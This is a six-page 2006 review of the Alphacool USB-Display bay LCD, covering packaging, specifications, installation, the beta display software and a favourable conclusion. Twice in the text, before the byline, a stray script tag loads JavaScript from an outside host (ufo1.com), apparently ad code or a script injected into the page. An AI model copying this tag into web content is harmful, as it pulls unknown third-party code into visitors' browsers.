Alphacool USB-Display Page: 1

Introduction

It's no secret that the PC enthusiasts among us will spend hours 'modding' our cases in an attempt to make them stand out from the crowd. Painting, Anodizing, hole cutting - anything goes. However, sometimes our efforts can fall short and we are still left pining for that £200 brushed steel, three foot tall super-case. One way a growing number of people are finding around this saddening situation is of course the LCD screen, capable of giving almost any case that "wow" factor.

Today I will be looking at Alphacool's offering, the aptly named Alphacool USB-Display. The screen comes in three sizes, a single 5.25" bay screen, a desktop free-standing screen and the double 5.25" bay screen which I will be reviewing.


Packaging

The package was supplied swiftly from Alphacool via our sponsors SpecialTech

Here you can see the outside of the package with the usual "cool blue" seen on Alphacool products with a few details about the screen. On the back and side are some more in-depth specifications for the screen in English, German, French and Spanish.

Front Of Package
Back Of Package

The inside of the packaging was, I have to admit, surprisingly bare. The package contains the LCD screen, a USB cable and nothing else.

Inside Of Package
Package Contents

I have contacted Alphacool about the lack of screws and software and they have quite rightly pointed out that everyone will have different fitting requirements . As for the lack of software, Alphacool software is still undergoing development and is due for release shortly but I will discuss this later in the Software section.

You can see above that Alphacool have not covered the entire screen front with plastic, while the plastic that is present will prevent damage to the display itself the brushed metal border is still vulnerable and mine did in fact have some minor scratches.

Back Of Screen 2
screen back
front of screen

Above you can see just how slim the circuitry on the back of the screen is, meaning you can still use the drive bays for things such as reservoirs or HDD mounts. Lucky when you consider that if it were not slim, you would lose two bays rather than one. On the back of the screen you can see two additional headers, these are not currently designed for use but watch this space.

On the next page we will look at the screen's specifications...



Alphacool USB-Display Page: 2
<script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 21/11/2006
Author: Llwyd Johnson
Hardware Acquired: Alphacool


Specifications

I found myself slightly stuck when it come to this specific screen's specifications because of the fact that there is no English translation available on the site. Thankfully, with the wonder that is online translation I have been able to dig up the following details:

Technical data:
- Blue-white graphics
- Display is 240X128 pixel
- Inverted display (blue display with white writing)
- USB 1.1 & 2.0 Compatible
- Installation in 2x 5.25" slot
- Extra-Slim (1cm deep, including. Controller)
- Software is available for download
- Boundless notice possibilities
- Weight: 200g
- Face plate made out of brushed aluminum

Examples of use:
"Notice of system temperature, processor, CPU-saturation, network statistics, memory location, Winamp title, News-Feeds (z. B. BBC-world), Game Stats....."

Alphacool do however have an English page for the external / desktop model of the screen giving these details:

"SOFTWARE ALPHA LCD No Software CD is available for the moment. From today, the first public Beta version from ALPHA-LCD can be downloaded. The long expected Software is programmed especially for our displays, can be auto-installed and has a basically improved driver model. Just see for yourself! The downloadable Software enables it to display System information, like Temperature or Memory use, and also the possibility to show graphics. With the help of a simple Script file you can display external data (i.e) Winamp or Mainboard-Monitor (MBM5) results. The possibilities are unending! The Software is available in more languages and very handy for all users due to its intuitive Drag&Drop module. Examples for use: Displaying system temps, CPU, CPU-load, Networking Stats, Memory use, Winamp Titles, News-Feeds (i.e. BBC-World), Game Stats, Email details,... etc,etc. * The compatibility to LCD-Hype was highly improved by a new Script."

Technical data:- Blue-white Graphic - Display
- 240x128 Pixel, inverted (blue display with white fonts)
-
USB 1.1 & 2.0 compatible
- external operation
- Extra-Slim (1cm thick, incl. Controller)
- The Alpha-LCD Software is downloadable in the Beta version (see below)
- Unending possibilities for displaying.
- Weight: approx. 350g

- plate from aluminum anodized/brushed

- full graphic display with port for USB 1.1 or USB 2.0

Scope of supply:
- Retail packing
- LCD display external
- USB cable: 3m


The complete data page for the desktop model can be seen Here


Alphacool USB-Display Page: 3
Installation

One of the most important things to me when modifying my pride and joy is how many hours of the day am I looking at losing? This is why it is important for manufacturers to create products that can be installed with minimal effort and hassle and with the least amount of tools and knowledge. This is something I am glad to say Alphacool have pulled off nicely. It took me more time to remove the drive bay fascias in preparation for the screen's fitting than it took to actually install the screen itself.

Some pictures of the drive installation:

back of screen


Side of screen

With the Alphacool screen, as with nearly all screens, the USB cable needs to be routed through the case and out through a PCI slot or other such hole to gain access to a USB port. As I did not want to remove a PCI plate I have wired the screen internally using a motherboard header. This is purely through my preference and I should point out that the cable reaches through the case easily.

One issue that became apparent during the fitting of the screen is its size. The front of the screen is fractionally too small, leaving a gap about 1.5 mm all around the screen.

Gap


Gap

This is not a major problem in any way but on an internally lit case this gap is extremely visible. This could be rectified quite easily by the purchaser or by Alphacool by the fitting of some sort of rubber trim but we don't all have this sort of thing lying around, nor do we expect to have to modify products straight out of the box.

Once the screen was installed I set about getting everything installed and running, on the next page we shall see how it all ties together with the Software...



Alphacool USB-Display Page: 4
Software

The software included with LCD screens has a habit of being non user friendly, complicated and generally awkward to use. Having used two main third party applications, LCD Hype and LCD Smartie I can categorically say that Alphacools offering, albeit in Beta stages is by far the easiest and quickest to use.

The package has two main functions, Page Editor and Profile Editor. Page Editor allows you to design your screen layouts and the Profile Editor allows you to assign timings and event settings to each page. Here are further capabilities and some examples of the software in use.

Page Editor

The software includes support for third party programs as well, with plugins included for applications like Winamp, Fraps and Speedfan. Extra plugins are being added with each update possibilities are currently endless

Here is one I put together in a few seconds demonstrating the Winamp compatibility:

Winamp Support

Here are two examples of the pre-made displays that are included in the current Beta version. One displays system memory usage and the other, CPU usage.

Premade Example

Premade Example

I have to say that I was personally very impressed with the included displays and in several cases replaced my layouts for the pre-made equivalent.

The overall use of the program is fantastically easy. The user simply opens the object menu, selects which plugin they wish to use and then drags and drops the object onto the display. All the expected formatting options are applicable as you can see below, as well as several extras such as colour inverting and scrolling animations.



Standard Options Task Manager Objects

One useful function the program also has is the ability to update to the LCD panel in real-time, as the user creates their layout, allowing them to view what the finished thing will look like.

The second part of the software is the Profile Editor. This application allows the user to order their displays, set timings and even set certain displays to show upon the launch of a specific application.

First example here is of the timeout settings, where the user can program a particular screen to stay displayed for a certain amount of time.

Timeout Setting

Second example is of the software's ability to bind a specific screen to an executable file.

Executable Functions

Lastly is an example of the software's Event function where screens can be associated with computer events such as system shutdown and system wakeup.

Event Settings

One final function that this package can carry out is 'Software Mode' which is automatically initiated when an LCD screen is not detected. This function displays an on-screen version of the display profile:

Display Preview

Note: The screen's packaging states that the software 'LCD HYPE' is included. This is currently not the case as Alphacool are at the moment preparing their software (currently in Beta stages) for release. At present the Beta software featured on this page, along with drivers is available from www.alphalcd.de and features both x86 and x64 compatibility.



Alphacool USB-Display Page: 5
Screen In Action

Its all well and good talking about how easy the screen is to install and how nice the software is to use but what really matters is how the screen performs.

OC3D display

One of my favourite things about this screen is how clean the display is. There are no pre-set semi visible character boxes as with Matrix Orbitals and so many other wallet busting LCD screens. This makes the screen look so much sleeker and the display a lot crisper.

Winamp Visualisation:
Winamp display

Time and Date:
Clock display

I found the best use of system monitoring screens is keeping an eye on everything while running full screen applications like games and videos. No need to minimize games during temperature tests or using logging software to check your memory usage, it's all there on the front of your computer.

System Monitor:
System Monitor

All these screens were created and ordered in a matter of minutes and only touch on the possibilities for design.

On to the next page for the conclusion...



Alphacool USB-Display Page: 6
<script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 21/11/2006
Author: Llwyd Johnson
Hardware Acquired: Alphacool


Conclusion


The Alphacool LCD Display is a fantastically functional screen and in my opinion looks absolutely great. It's neat, simplistic, modern looking and the brushed metal finish makes it ideal for the front of those top end cases. The packaging could indeed use a little more attention, as I expect that with a little extra packaging, the screen may not have picked up the minor scratch marks present on the review sample.

The overall quality of the screen is very good. The metal and paint job is great and the electronics and screen panel look very high quality.

This screen really is an ideal first screen when one considers the simplicity of the whole package. Installation takes one or two minutes and the software is as user friendly as it gets, taking only minutes to get to grips with. The fact that the screen comes in black or silver and in a single bay size and worktop display means that it's up the customer how much space is taken up.

You can see the single bay 200 x 64 pixel display Here for a reasonable £43.
And the 240 x 128 pixel desktop display Here for a similar price to the internal model.

The reviewed display is available at SpecialTech for £68, a snip compared to most LCD displays on the market and a worthwhile addition to any Christmas list.

Pros:
+ Looks great and very sleek with large display area
+ Well built and good quality
+ Great software package
+ Variety of sizes and colours to suit all cases

Cons:
- Very basic packaging
- Could do with some form of rubber trim to improve fit


Value For Money AwardRecommended

Thanks to Alphacool for providing this screen for review

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